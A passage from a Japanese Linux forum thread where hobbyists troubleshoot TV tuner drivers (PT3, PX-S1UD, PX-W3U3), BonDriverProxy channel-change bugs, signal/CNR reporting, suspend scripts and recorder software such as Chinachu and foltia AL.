PT1やFriioのDVBドライバは新しいのに対応して改修されていないけど
今レビュー中のPT3は対応してるよ (RSSIとCNR)

あとFriiioはRSSIでCNRを返してるという間違いがそのままになってる

690 :login:Penguin:2014/09/21(日) 14:37:32.75 ID:8glTzj28.net
pt3_dvbの最新入れてFE_READ_SNRの動作の確認しようとしたら変な値返してくるので、
もう一回ちゃんとソース確認してみると、FE_READ_SNRでシグナルレベルを返してきてました(;´Д`)
> …が、その後もうちょっと調べてみたらその次のバージョンではFE_READ_SIGNAL_STRENGTHに対してCNRを計算して
> 返すようになり
は、デバッグログの出力時にそれやってるのの見間違いだった様です
しかし、
> 今のバージョンではFE_READ_SIGNAL_STRENGTHは削除されて、その処理はそのままFE_READ_SNRで
> 使用されるようになってますね…
はその通りなので、結果的にFE_READ_SNRでシグナルレベルを返すと言う状態になってる様です
つまり、>>680さんの書かれてた事がやっぱり正解でした

こうなるとおかしいのは明らかにpt3_dvb側なので、とりあえず、
ttps://github.com/knight-rider/ptx/blob/master/pt3_dvb/drivers/media/dvb-frontends/tc90522.c
の400行目辺りと509行目辺りに、
---
.read_signal_strength = tc90522_read_snr,
---
を追加して、シグナルレベルを取得できるようにして使う感じでしょうか
#関数名はread_snrですが、シグナルレベル取得の関数です…

691 :login:Penguin:2014/09/21(日) 14:40:10.31 ID:8glTzj28.net
また、他のDVBドライバがどうかは知らないのですが、pt3_dvbはdemuxerのfd閉じる時に他のadapterにも
影響するようで、例えばadapter0とadapter2を両方使ってる時にadapter0のdemux0をclose()すると
adapter2側でドロップが発生する様です

これらの状況を考えると、PT3を使うなら少なくとも現状ではchardev版の方が良さそうな気はしますね

692 :login:Penguin:2014/09/21(日) 14:55:16.35 ID:bwPJwNB2.net
ちなみに >>689 であげてたPT3のドライバってのは pt3_dvbとは別の
http://www.spinics.net/lists/linux-media/msg80603.html (のフォローアップ)
のことです

FE_READ_SIGNTAL_STRENGTHのioctlを使うよりも DTV_GET_PROPERTYを使って DTV_STAT_SIGNAL_STRENGTH(かDTV_STAT_CNR)プロパティを読むようにするのがAPIv5のやり方 FE_READ_SIGNAL_STRENGTHの方は古いAPIなので
各ドライバ独自の形式で返してくる & 値がu16なので負値を返せない
(RSSI[dBm]は通常マイナスの値となるはず?) という問題があるよ
http://linuxtv.org/downloads/v4l-dvb-apis/FE_GET_SET_PROPERTY.html#frontend-stat-properties

693 :login:Penguin:2014/09/21(日) 18:57:12.22 ID:8glTzj28.net
>>688
使えたようで良かったです
チャンネルスキャンの件に関しては、TVTest側でどう判定してるのか調べてみないとちょっとわからないですねー

>>689>>692
まだまだインタフェース固め自体が過渡期って感じなんでしょうか
linuxを普通にデスクトップマシンとして使ってる人やっぱり少ないでしょうし、
あんまりモンクが出てこなさそうなのも一因でしょうか…

>>692で教えていただいたパッチ当てて使ってみたら、>>691の問題は発生しませんでした
これはやはり、pt3_dvbの固有の問題みたいですね
DTV_STAT_CNRでちゃんとCNRが返って来るのもソース/実行結果両方から確認できました

あと、>>692の後者のリンクは読んでたんですが、DTV_STAT_CNRの項目に
---
FE_SCALE_DECIBEL - Signal/Noise ratio is in 0.0001 dB units.
---
てあるのは、やっぱり桁間違いですよね?
#DTV_STAT_CNRで返す場合は__s64なので1/10000でも表せる最大値の問題は無くなりますが…

694 :login:Penguin:2014/09/21(日) 19:01:58.65 ID:8glTzj28.net
今後の方向はDTV_STAT_CNRだと教えていただいたのでそちらに一本化したいところですが、
やはりまだ対応してないドライバが多いと言う事で、結局CNR取得方法の選択肢を増やしました(;´Д`)
confの設定名が、#GETCNRMODEに変わっています
0 : FE_READ_SIGNAL_STRENGTH / 1 : FE_READ_SNR / 2 : DTV_STAT_CNR
です
すみませんが、以前のconfの#USEREADSNRをこれに置き換えてください

695 :login:Penguin:2014/09/21(日) 19:06:51.75 ID:8glTzj28.net
あと、pt3_dvbは>>691の問題がありますし、ソース読んでても気になる点がちょくちょくあるので、
個人的にはPT3でDVBドライバ使うなら>>692のリンク先の物をお勧めします
#無事本家にマージされると良いのですが…

696 :login:Penguin:2014/09/21(日) 20:16:44.50 ID:bwPJwNB2.net
>>693
statの報告については たしかに最近になって新インターフェースがv5に追加されてる
利用者がすくないせいで 最近になってアプリサイドから問題提起された感じじゃないのかな
だいたいlinuxのデスクトップ自体のシェアが1..2%で
その中でさらにDTVを見たい &ソース見て問題点を挙げる/改修する人の数は...

あとFE_SCALE_DECIBELの説明は桁間違いのはず;) 他のドライバも1/1000 dBで返してるので

697 :login:Penguin:2014/09/21(日) 23:22:09.96 ID:IdcCM2hP.net
TsSplitterの処理は全く同じなら統合したいねぇ。

698 :login:Penguin:2014/09/21(日) 23:22:23.11 ID:1RikBqg5.net
>666
わざわざDBにアクセスせずとも、atq で次回録画時間がわかったので、
http://airwhite.net/?p=786
・・・を書き換えてみました。

http://pastebin.com/LjGPkeMc

foltia AL 4.0.2で一応動作確認
at キューに入ってる直近の日時まで75分以上差があればサスペンドします。
EPG更新を考慮して予定の1時間前には復帰します。

foltia ユーザでの実行を想定してます。
中でsudo しているので /etc/sudoers への NOPASSWD 設定が必要です。

このシェルをどのタイミングで起動するかが課題です。

流れ無視して申し訳ないです。

699 :login:Penguin:2014/09/21(日) 23:59:17.48 ID:gZdOl1Ws.net
>>694

BonDriverProxy + BonDriver_DVB.so + PX-S1UD が Ubuntu 14.01 で動きました。

http://blog.lwlv.net/archives/821

ドライバのビルドは上記の手順ほぼそのままでOKでした。

ただ、微妙に不安定な感じで、電源ON時にきちんと認識してくれないことが多いです。
ドライバ、PC、PX-S1UDどれの問題なのかは未確認です。

#GETCNRMODE=2でCNRが取れます。ドライバソース眺めても返している様ですし。
TVTestの表示が30dBぐらいで同じアンテナ線につないだBonDriver_LinuxPT(PT3)
でもそのぐらいです。WindowsのBonDriverは70-80とか表示するのですが何を
返しているのでしょうね?CNR*2だと合わないですが。

SetChannel() timeout: adapter4

PT3と比べるとチャンネル変更が遅く感じます。なにかもっさりした感じです。
チャンネル変更時にBonDriver_DVBがたまにtimeoutしたと上のエラーを表示します。
ただ、そういう場合でもTVTestのチャンネル変更は成功して映像は表示されます。

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L648

チャンネル変更が成功したかどうかを 250ms * 4 で最大1秒待っているのを * 8 の
2秒程度にするとtimeoutのエラーは表示されなくなりました。250ms * 4 は PT1DVB
の数値(tune.c)かな?と思いますがチューナーによってこの辺も微妙に違うのですね。

700 :login:Penguin:2014/09/22(月) 03:35:08.27 ID:RCw937p9.net
基本的な質問になるけど、CASを刺してない場合にストリームがヌルになって何も見れない
(後でb25使おうにも使いようがない)っていう
去年くらいのfuse_b25のクソ仕様は継承されてるのですかね?
この問題が無ければ、挑戦してみたいんだけど。
recpt1でやってます。

701 :login:Penguin:2014/09/22(月) 19:23:09.90 ID:DJmrXEBd.net
>>688
TVTestのチャンネルスキャンのタイムアウトは、TVTest内でのデッドロック由来みたいでした
TVTestはロックを取得してからイベントキューにチャンネル変更のリクエストを放り込みますが、
イベント処理スレッドでは、そのリクエストを処理する前に同じロックの取得待ちが発生する場合があります
こうなるとスキャンの待ち時間に関係なく必ずタイムアウトになるので、結果チャンネルスキャン失敗となるようです
TVTestのビルドスレは開発者の方も見てるみたいなので、報告しておきました

>>699
おお、よかった
チャンネル変更時の挙動は、チューナだけでなくドライバとかによっても異なりますね
PT3のchardev版では、受信できない周波数へのioctl(SET_CHANNEL)を行うと8秒ほど返って来なくなるので、
チャンネルスキャンにかなり時間がかかったりします
そう言う意味では、DVB版はチューナに合わせて調整しやすくて良いかもしれませんね

702 :login:Penguin:2014/09/23(火) 21:08:12.24 ID:4laAyCHM.net
>698
foltia AL の予約時間はatq で、
録画有無はrecpt1プロセスの有無で、
変換有無はffmpegプロセスの有無で判定できる。
後の課題は映像配信中かどうかの判定。
これさえできればcronで定期的にこのスクリプトを走らせればsuspend運用が可能になるはず。
(必要なときの電源ONはWoLを想定)

DLNAで配信してるか否かは localhost:8200 にhttpアクセスすればわかるけど、
ApacheでWeb配信しているかどうかが判定できない・・・。
netstat で httpの ESTABLISH を見ればいいと思ったけど、
Webプレーヤーで視聴中でも表示されないですねぇ。。。

なんかいいアイデアありませんかね?

703 :login:Penguin:2014/09/23(火) 22:12:40.53 ID:Nn7+SBVJ.net
個人的には、
一定時間sleepの前後で ifconfig eth0 の in と out を足して
一定以下なら rtcwake するのを動かしてる

再起動時には毎回手動だけど、vnc 上で

704 :login:Penguin:2014/09/23(火) 22:21:28.22 ID:4laAyCHM.net
>703
具体的にどんなコード書いてるか教えていただけないでしょうかm(__)m
再起動がVNCってのは intel vPro 付きのマシンでやってるってことですかね?

705 :login:Penguin:2014/09/23(火) 23:30:54.94 ID:Zj70CTbe.net
/proc/net/devを読むのはどうでしょう?
rootじゃなくても良いし…
-r--r--r-- 1 root root 0 Sep 23 23:28 /proc/net/dev

grep eth0 /proc/net/dev | sed 's/ \+/\t/g' | cut -f11

706 :login:Penguin:2014/09/24(水) 02:00:15.45 ID:MOmElMpN.net
/proc/diskstats でディスクの活動をチェックするのも良いかな

707 :login:Penguin:2014/09/24(水) 02:04:13.28 ID:/s6jH7eY.net
mod_statusでわからんか

708 :login:Penguin:2014/09/25(木) 09:03:47.25 ID:vw+3DDLO.net
みんなありがとう〜
>703
rtcwake は知らなかった。 元スクリプトもそうだけど、
sudo sh -c "echo〜 とやってて sh に対しての sudoers 設定が必要でした
 sh を NOPASSWD実行させるのはセキュリティ的にアレと思ってたけど、これなら良いですね

>707
foltia AL の CentOS6.5のApache2.2 には標準で読み込まれてるので
 ディレクティブ設定すればstatus取れました。
 でも、tcpdump してみてわかったけど、Web Playerは常時ストリーミング転送するわけじゃなくて
 一定期間ごとに直近映像ブロックをhttpで転送してコネクションを切っちゃうので
 有意な値を取れませんでした。。。

>705,706
 助言いただいたように、eth0 の L2レイヤのデータ転送量とディスク活動量をみて
 「なんとなく判断する」のが当面の解決策ですね。ありがとうございます。
 「使用中」と判断するしきい値をどうするかがtry&error ですね。

 >703 の事例を是非参考にさせていただきたく。。。
 

709 :login:Penguin:2014/09/28(日) 01:17:03.47 ID:kGukxwIm.net
Raspberry PiでPX-S1UDを
http://deepntechnical.blogspot.jp/2014/07/raspberry-pipx-s1ud.html?m=1
これを参考にドライバを入れました
そこにBondriver proxy_linuxを実行したところチャンネル指定時に
SetChannel() timeout: adapter0
と表示され映像が映りません。
何が原因かわかったら教えていただきたいです。

710 :login:Penguin:2014/09/28(日) 02:42:54.45 ID:UKXPJ+IB.net
エスパー期待されても困るよ。
straceやdmesgの結果くらいは出して欲しい。

711 :login:Penguin:2014/09/28(日) 09:27:31.12 ID:r3Z8zE+X.net
BonDriverProxy + PX-S1UD + Raspberry Pi (Raspbian)+TVTest
の構成で昨日から作業してやって今手元で動いてる。ほぼ同じ構成ってことで。

uname -a
Linux mysv504 3.12.28+ #709 PREEMPT Mon Sep 8 15:28:00 BST 2014 armv6l GNU/Linux

そのエラーはチェンネル変更に失敗したら出る。
自分がやったけどファームの入れ忘れでも出る。
もちろんチャンネル番号が間違ってても出る

dmes | grep firmware で以下のエラーが出ていたらファームの入れ忘れ。
[ 5.452979] smscore_load_firmware_from_file: line: 1168: failed to open firmware file "isdbt_rio.inp"

ファームを入れたら再起動する。
どこからダウンロードするかとかダウンロード時の注意(wgetで失敗する)とか
どこに入れるんだとかは>>699のURLか以下が参考になる。ファームは32,64bitの
両方のディレクトリに入っているけどどっちでも同じ。
http://gametricks.blog40.fc2.com/blog-entry-81.html

Raspbian(Debian)はDVB関係が古くて#GETCNRMODE=2でCNRは取得できない。
#GETCNRMODE=1でもほぼゼロしかならない。#GETCNRMODE=0は値が異常。
なので、CNRを取得する方法はなさそう。

というか Raspbian のカーネル3.12.28+で自分でビルドしたドライバをmodprobe
するとカーネルが落ちるんだけど問題ない?結局上のURLからたどれたsmsusb.koを
直接書き換える方法で使ってる。

http://anago.2ch.net/test/read.cgi/jisaku/1390977673/829

712 :login:Penguin:2014/09/28(日) 09:50:14.80 ID:r3Z8zE+X.net
>> dmes | grep firmware で以下のエラーが出ていたらファームの入れ忘れ。
dmesg | grep firmware

713 :login:Penguin:2014/09/28(日) 12:29:54.62 ID:smu24UAt.net
>>711
ファームの入れ忘れでした…
ありがとうございました!

714 :login:Penguin:2014/09/28(日) 12:50:43.03 ID:r3Z8zE+X.net
自分で書いておいてなんですが。

> Raspbian(Debian)はDVB関係が古くて#GETCNRMODE=2でCNRは取得できない。
BonDriver_DVB.cpp のコンパイルエラーは /usr/include/linux/dvb/frontend.h が
Debianだと古くstruct dtv_property に struct dtv_fe_stats st メンバがないのが原因
なので、存在するファイル(例えば、Ubuntuとからファイルを持ってきて)を代わりに
includeすればコンパイル可能で値も取得できました。ただ、Ubuntuの場合と値が明らかに
違うので正しいかは不明です。

> #GETCNRMODE=1でもほぼゼロしかならない。
http://lxr.free-electrons.com/source/drivers/media/common/siano/smsdvb-main.c?v=3.12#L810
他のドライバでもこうなのかなあ?
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L759
1/1000をやめると確かに値は帰ってきますね。

>#GETCNRMODE=0は値が異常。
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L764
サポートされていないとsignal=0になるようなので
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L245
signal>0 のガードを入れておくのが良いかなあと。

715 :login:Penguin:2014/09/28(日) 13:01:32.83 ID:r3Z8zE+X.net
>サポートされていないとsignal=0になるようなので
日本語が意味不明ですね。ioctl<0にならなくてsignal=0で帰ってくる
場合がある様だということです。

716 :login:Penguin:2014/09/28(日) 15:35:26.51 ID:znqq1d0S.net
PT3と本家のrecpt1最新版で録画してるのですが、
録画時間を超えてもrecpt1が終了せずチューナーを占有されて一部録画に失敗しました。
終了しなかったrecpt1の出力ファイルの最終更新は予定の録画終了時刻だったので、
終了しようとした形跡はあるようです。
どなたか原因わかる方いらっしゃいませんか。

717 :login:Penguin:2014/09/28(日) 23:56:34.27 ID:Weh/2lnJ.net
>>714
> #GETCNRMODE=1でもほぼゼロしかならない。

ちょうど先週話題になった件ですね
FE_READ_SNRで取得できる値はドライバ毎に好きにやってて、精度が統一されていないようです
http://lxr.free-electrons.com/source/drivers/media/common/siano/smsdvb-main.c?v=3.12#L800
では、0.1dBって書いてありますね
なので、BonDriver_DVB.cppで1000で割ってるのを10に変えるとそれなりの値になるかもしれません

現状では、#GETCNRMODEを2で使えるドライバでない限り、BonDriver_DVBが返す値は変な値になる
可能性がある、て事ですね
逆に、自分が使用しているチューナ用のドライバのソースから、返してきてる単位/精度がわかるなら、
BonDriver_DVB.cppの該当箇所をそれ用にいじって使うのが一番確実でしょうね

718 :login:Penguin:2014/09/29(月) 07:09:29.84 ID:DL/mCJ0i.net
>>717

>なので、BonDriver_DVB.cppで1000で割ってるのを10に変えるとそれなりの値になるかもしれません
1/10で>>714で書いた#GETCNRMODE=2を有効にした場合と一致しました。

>ただ、Ubuntuの場合と値が明らかに違うので正しいかは不明です。
再確認したらそれなりに似た値でした。違うチャンネルで値を比較してそう思い込んでいました。
あまり電波状態の良くないアンテナ入力なのでチャンネル差が結構あるようです。

現時点のDebianでPX-S1UDを使う場合は、BonDriver_DVB.cppの以下を 1000 から 10 修正して
#GETCNRMODE=1 で使うのが良さそうですね。Ubuntuなら#GETCNRMODE=2でOKです。
自分で使うのは設定ファイルで倍率(1/10=0.1)みたいな感じで読むようにしとくかなあと思っています。
なんかいまいちな解決方法ですが

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_DVB.cpp#L728

719 :login:Penguin:2014/09/29(月) 12:01:34.26 ID:uB5gD6UG.net
chinachuのライブ視聴(m2ts無変換のxspf)なんだけど
avconvが落ちて再生始まらないのはなんだろう?
SDは概ね再生出来るっぽくHD/FHDは大抵コケるっぽい(´・ω・`)
ちなみに録画したものは問題なく再生出来てる

720 :login:Penguin:2014/09/29(月) 16:52:29.57 ID:7oyx3tq2.net
ほとんどの録画ソフトはスポーツ中継や特番なんかの放送時間延長には対応してないようだけど、
その番組の後の番組の時間変更(くり下げ、くり上げ)も対応してないのかな?

721 :login:Penguin:2014/09/29(月) 17:53:07.86 ID:kH+LeVtI.net
Windows系のフリーの録画ソフトはむしろ大抵延長対応してる
ここはchinachuのわりと致命的な欠点

722 :login:Penguin:2014/09/29(月) 18:30:59.88 ID:YY/0p21J.net
やはり録画環境ではWindowsに一歩二歩劣るな…

723 :login:Penguin:2014/09/29(月) 18:42:37.71 ID:+otmu0ib.net
録画機をwindowsからlinuxに移行しようかと思ってたが、この問題があるから諦めた。

724 :login:Penguin:2014/09/29(月) 19:42:46.69 ID:HBTrRVUB.net
もういっそ全録で対抗しちくり
番組ごとに別ファイルで記録してくやつ

しょぼいスクリプトしか書けないが全録ソフトできたらプロジェクトの支援する
B25触らなければ純然たる合法ソフトだし(で、誰か、がコソーリ…w

725 :login:Penguin:2014/09/29(月) 23:31:43.42 ID:5wGIfjXB.net
いま開発中の、次期バージョンChinachu"usushio"で
放送時間延長とかに対応するって見た覚えが・・・。

ライブ視聴も、現在の実装方法とは違う新たな方法で実現するらしい。

726 :login:Penguin:2014/09/29(月) 23:38:58.07 ID:8FKhSn8O.net
epgrec UNAが対応してるよ
おかげで力士のケツを見なくて済んだw
あと MythTVもじゃないかな

他にも探せばあるんじゃないかな

727 :login:Penguin:2014/09/30(火) 11:42:17.67 ID:Xn4Wh5en.net
dvb_apps の録画スクリプトは一応対応してるだろ

728 :login:Penguin:2014/09/30(火) 11:55:48.13 ID:iwduFy7p.net
GV-USB2使えるようにならねえかなあ

729 :login:Penguin:2014/10/01(水) 23:28:07.91 ID:mSFbOiq9.net
BonDriver_LinuxPTでPX-W3U3も動作するのか確認してみました。
PX-W3U3はUSB接続の4チューナーモデルです。

$ cat /etc/redhat-release
CentOS release 6.5 (Final)
$ uname -a
Linux mysv502 2.6.32-431.29.2.el6.x86_64 #1 SMP
Tue Sep 9 21:36:05 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

・PX-W3U3に付属のACアダプタを接続しないとチューナーを半分しか
認識しません。まあこれはそういうものなのでしょうね。

・本家ドライバってどうやって使うのでしょうか?
http://www.plex-net.co.jp/product/pxw3u3_download.html
これに入っているas11usbdtv.koをinsmodすると/dev/as11usbdtv0
/dev/as11usbdtv1の2個しかデバイスファイルができません。
BonDriver_LinuxPTが想定しているデバイスファイル名とは違うので
修正が必要ですが修正して確認する気になれませんでしたので省略します。

以下、動作確認という名目でfoltiaからドライバファイル(pxw3u3.ko)を
借りてきて確認した結果です。

・デバイスファイルは/dev/pxw3u30-/dev/pxw3u33の4個作成されます。
・BonDriverProxy + TVTestでTVTest側でチャンネルを切り替えると
映像が表示される場合はあるのですが、フリーズする場合があります。
発生条件は明確ではないのですがチャンネル変更している内に突然という
感じです。1回目の変更でフリーズする場合もあります。フリーズすると
Pingにも応答しません。電源OFFするしかない状態です。何が原因かよく
分かりませんがうまく動作してくれないようです。

730 :login:Penguin:2014/10/02(木) 01:55:32.81 ID:cIllcodc.net
>>728
Linuxじゃts抜きが出来るようなタイプじゃないと無理やろ

731 :login:Penguin:2014/10/02(木) 02:27:28.79 ID:oJZcKZhT.net
>>729
ついでにfoltiaのrecpt1で動作確認してみたら?
もしそれで大丈夫なら、ドライバの制限としてSTART_RECしてない時でないとSET_CHANNELできないとかの可能性はあるかもね
マニュアルある訳じゃないからいろいろ試さないと実際どうなのかはわからないだろうけど

ただ、できないだけならともかくOSごと固まるのは、どう考えてもクソドライバ乙じゃないかなぁ

732 :login:Penguin:2014/10/03(金) 00:45:19.36 ID:bJNcwhax.net
>>731

> ついでにfoltiaのrecpt1で動作確認してみたら?
確かにそうですね。再確認してみました。

・foltiaのrecpt1での確認
foltiaのrecpt1を使ってチャンネル変更、30秒録画を繰り返す
スクリプトを書いて実行してみました。特に問題なく動作します。
もちろん、OSもフリーズしません。

# recpt1
pt1dev=/dev/pxw3u30
chnos="101 103 141 151 161 171 181"
sec=30
rec=pt1
for ch in ${chnos}
do
log=${rec}_${ch}.trace
ts=${rec}_${ch}.ts
strace -o ${log} recpt1 --device ${pt1dev} ${ch} ${sec} ${ts}
done

・BonDriverProxyのsampleでの確認
同様にsampleでもチャンネル変更、30秒録画を繰り返すスクリプトを
書いて実行してみましたがこちらも問題なく動作します。

> もしそれで大丈夫なら、ドライバの制限としてSTART_RECしてない時
> でないとSET_CHANNELできないとかの可能性はあるかもね

おお、まさにそういう感じがします。

733 :login:Penguin:2014/10/03(金) 07:03:45.95 ID:bJNcwhax.net
>>732の続きです。単純にBonDriver_LinuxPT.cppのSET_CHANNELの前後に
fprintfを追加しWindowsのTVTestからチャンネル変更して確認してみました。

fprintf(stderr, "ioctl(SET_CHANNEL) Start\n");
if (::ioctl(m_fd, SET_CHANNEL, &(g_stChannels[g_Type][dwChannel].freq)) < 0)
{
::fprintf(stderr, "SetChannel() ioctl(SET_CHANNEL) error: %s\n", g_Device);
goto err;
}
fprintf(stderr, "ioctl(SET_CHANNEL) End\n");

ioctl(SET_CHANNEL) Start
ioctl(SET_CHANNEL) End
ioctl(START_REC) Start
ioctl(START_REC) End
ioctl(SET_CHANNEL) Start
ここでフリーズ。

> もしそれで大丈夫なら、ドライバの制限としてSTART_RECしてない時
> でないとSET_CHANNELできないとかの可能性はあるかもね

これです…。
しかし>>729みたいな文章でこの原因を推測できたことが驚きです。

とりあえず、SET_CHANNEL前にSTOP_RECでも入れて状態を見てみれば
良いのかな。

734 :login:Penguin:2014/10/03(金) 19:03:54.12 ID:Q+yXHr/N.net
>>733
こんな感じでどうでしょう?
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/commit/632043b252f069900ef615fab691e450cbdbdf11

735 :login:Penguin:2014/10/05(日) 12:44:49.40 ID:/R6zBrak.net
>>734

修正を適用した所、快調に動作しています。

なるほど、TsReaderのスレッド止めてSTOP_RECするのが確実なのですね。
スレッドを止めずにSTOP_RECするだけの修正を自分なりに試していたの
ですがチャンネル変更後しばらくしたら突然フリーズしたりして不安定でした。

対応ありがとうございます。
>>731の書き込みが非常に参考になりました感謝です。

736 :login:Penguin:2014/10/05(日) 14:02:05.62 ID:bjGIp0S3.net
セレの4コアだったらエンコードキツイ?
CPUの周波数はどれぐらいあればいいかな?

737 :login:Penguin:2014/10/05(日) 14:33:07.43 ID:vvB7mzx9.net
HDD修理出して再インスコしようとしてるんだけど
ChinachuでH265にするメモサイトどこか忘れた
誰か知らない??

738 :login:Penguin:2014/10/05(日) 21:02:00.04 ID:k7rYE0OR.net
Chinachuって録画時間の調整ってできますか?
毎回、NHKの番組が尻切れになってしまうので5秒ほど長くしたい

739 :login:Penguin:2014/10/05(日) 21:16:00.57 ID:YiWRrpw5.net
>>736
エンコ時間にこだわりなけりゃCPUはなんでもOKとしか・・・

740 :login:Penguin:2014/10/05(日) 22:12:28.78 ID:R7okN6gm.net
録画だけならAtomでも問題ない

741 :login:Penguin:2014/10/06(月) 03:15:35.28 ID:B/4mJ+b9.net
>>738
githubのwikiにconfig.jsonの仕様書が
あるので読もう

742 :login:Penguin:2014/10/06(月) 07:13:23.72 ID:HBWXiK3L.net
まだ使い物にならないみたいだな

743 :login:Penguin:2014/10/06(月) 11:44:43.65 ID:AQoSxgcQ.net
わかつきなんとかを思い出して不愉快なネーミング
キュートじゃない…

744 :login:Penguin:2014/10/06(月) 13:31:49.30 ID:WxUDWqpO.net
>>742-743
まだまだだね
PPA対応でないのも不便だし

745 :login:Penguin:2014/10/06(月) 18:04:32.94 ID:L+ondwPz.net
最初見た時、チャイナちゅか…なんか嫌だな。
と思って避けてたけど、試してみたら思いの外良かった

746 :login:Penguin:2014/10/06(月) 19:18:06.00 ID:lkHPONQc.net
まだ時間延伸に対応してないしバグで録画に失敗するようじゃ話にならないけどね

747 :login:Penguin:2014/10/06(月) 22:36:03.46 ID:ExHJ9qRs.net
ffplayというかavplayで

〉avplay version 0.8.16-4:0.8.16-0ubuntu0.12.04.1, Copyright (c) 2003-2014 the Libav developers
〉 built on Sep 16 2014 18:33:49 with gcc 4.6.3
〉【新】ガンダムGのレコンギスタ 初回1時間スペシャル #01,#02【字】_10040235_3630.ts: Invalid data found when processing input

というエラーが出るってことは、致命的に録画失敗しているよな?
これどういう状況なんだろう?
ほか、いくつか失敗しているけど10/4深夜以前には無かった。


少し前にB-CASカードリーダーのエラーでワンセグしか再生できなくて
アンテナ線は点検したつもり
今回のものはb25コマンドでも
processing: 0.21% error - failed on ARIB_STD_B25::put() : code=-4
と出るんだけど、それが意味するものはわかんないや。

748 :login:Penguin:2014/10/06(月) 23:32:48.80 ID:w9ms6akS.net
>>747
ウチも似た現象が最近起きている。
pcscd関連アプデしてからおかしくなったような。

749 :login:Penguin:2014/10/06(月) 23:49:16.13 ID:ecIyvYSh.net
>>747

b25_decode failedと言われるとき

code=-4の場合:データが壊れている(=信号が弱すぎ)ためにデコードできない可能性あり。
checksignalして23db程度しか出ていない場合、配線やアンテナを見直す。

ttp://archive.side2.net/wiki/index.php?Computer/Linux/PT2

750 :login:Penguin:2014/10/07(火) 00:12:45.22 ID:i6osU41f.net
>>747
libarib25に>>649のパッチ当ててみては?

751 :login:Penguin:2014/10/07(火) 00:15:55.86 ID:DdqDG/NF.net
Linuxで録画するのも楽じゃないな…

752 :747:2014/10/07(火) 12:10:19.46 ID:rELLa1S8.net
いや、シグナルはかなり弱いんだよね。
2年くらいの間、普通に録画できていたんだけど

安アパートのアンテナ設備自体が老朽化しているみたいで
数値は忘れたけど、20db切っている。

結局前回のトラブルは、B-CASカードのほうで
シグナルは弱いまま、また2ヶ月くらい普通に動いていた。


libarib25のパッチは、PC組み直すつもりでいたから
2枚挿しにするつもりで買ってあったPT2で
新規組んでから検討してみます。

B-CASカード読めない状態で録画したtsを
Atom330でb25コマンドで処理すると、すげぇ時間かかんの (;_;)
最低J1900狙いで、秋葉原行ってくる

空きの多いアパートだから
大家もアンテナ改修とか渋るんだろうしなぁ…

753 :login:Penguin:2014/10/07(火) 13:01:02.50 ID:osxhI4Fg.net
UAH810でも買いなさいな

754 :login:Penguin:2014/10/07(火) 15:25:49.53 ID:WGAZdd+h.net
空きが多いなら>>747は貴重な店子だろ
そこで大家が渋るなら「こんな糞アパート出ていく」って言えば折れるよ

755 :login:Penguin:2014/10/07(火) 16:21:17.98 ID:7fUFFLhc.net
「出てって欲しい 高く取れる物件に新築したい」
って思ってるかも

756 :login:Penguin:2014/10/07(火) 17:48:43.90 ID:2Al9nOX/.net
アンテナ線が余ってるならそれでスリーブアンテナを作って試してみるといいよ

757 :login:Penguin:2014/10/07(火) 21:02:59.66 ID:2ls49AqY.net
オープンソースのマルチメディアフレームワーク「FFmpeg 2.0」が公開 - 窓の杜
http://www.forest.impress.co.jp/docs/news/20130712_607519.html

ここ読むとGPUでのエンコードって可能なの??

758 :login:Penguin:2014/10/08(水) 11:59:21.66 ID:zlF5Ypkm.net
支那厨って使いやすいのかな

759 :login:Penguin:2014/10/08(水) 12:22:56.37 ID:XhFwurAT.net
録画中心だったらchinachuが一番お勧め。リアルタイム視聴はまだ安定してないけど、ネットワーク越しにwinでもmacでもlinuxでも視聴OKなのもよい。
つか、使ってみりゃいいじゃん。フリーなんだし

760 :login:Penguin:2014/10/08(水) 12:26:30.15 ID:kPI/r1y4.net
アニメ特化ならfoltiaAL>Chinachu
キーワード特化ならChinach>foltiaAL
番組表からならChinachu>=epgrec>foltiaAL

ってのが俺の独断と偏見

761 :login:Penguin:2014/10/09(木) 17:33:06.62 ID:d4GZg+go.net
chinachu入れてみてまだ数日なんだけど、現時点ではiOSでのライブ視聴が
できないのと、作成したルールから予約リストへの反映がなんか直感的じゃ
ないのがイマイチ。

前者はともかくとして、後者は、結局作ったルールでどの番組にマッチして
どういうスケジュールで録画されるのかがすぐにわからなくて辛い。
それとも使い方が間違ってるんだろうか…?

762 :login:Penguin:2014/10/09(木) 18:01:10.89 ID:d4GZg+go.net
chinachu入れてみてまだ数日なんだけど、現時点ではiOSでのライブ視聴が
できないのと、作成したルールから予約リストへの反映がなんか直感的じゃ
ないのがイマイチ。

前者はともかくとして、後者は、結局作ったルールでどの番組にマッチして
どういうスケジュールで録画されるのかがすぐにわからなくて辛い。
それとも使い方が間違ってるんだろうか…?

763 :login:Penguin:2014/10/09(木) 19:00:21.53 ID:NMWxAa6p.net
EPGから番組選んで右クリックからルールの作成、が分かりやすいかも。ルールからスケジューラーの実行で予約済みに出てくるんじゃ分かりにくい?
ルール関連で不満があるというのは伝わるけど、イマイチ具体的な不満点が分からん。俺の理解力が足りないんだと思うが

764 :login:Penguin:2014/10/09(木) 19:33:00.58 ID:UO1PUdqY.net
ルールを確認する為に、いちいちいスケジューラを実行しないといかんのが面倒ではあるね。
「このルールで検索」ってのが有れば助かるんだけどな。

765 :login:Penguin:2014/10/09(木) 19:41:20.32 ID:NMWxAa6p.net
細かいことを気にしない俺は新しいルール作っても面倒なんでスケジューラーの実行もしないでほっとく
んで気がつくとちゃんと予約されてるw
スケジューラー実行のタイミングとかはgithubにある公式のwiki見ればあるんじゃね

766 :login:Penguin:2014/10/10(金) 13:10:44.63 ID:GZeqRxe1.net
うわ、書き込みが反映されないからもっかい書いたら二重カキコになってもーた。

なんかおかしいと思って調べてみたら、いつの間にかスケジューラのPIDファイルが
残ったままだった。そりゃ何回クリックしてもスケジューラは実行されないわなorz

ルール作成時のチャンネル名も、局名じゃなくてSIDベースになっててわかりにくい。

今はTvRockを家族と共用してるんだけど、なんとなくchinachuへ移行するのは
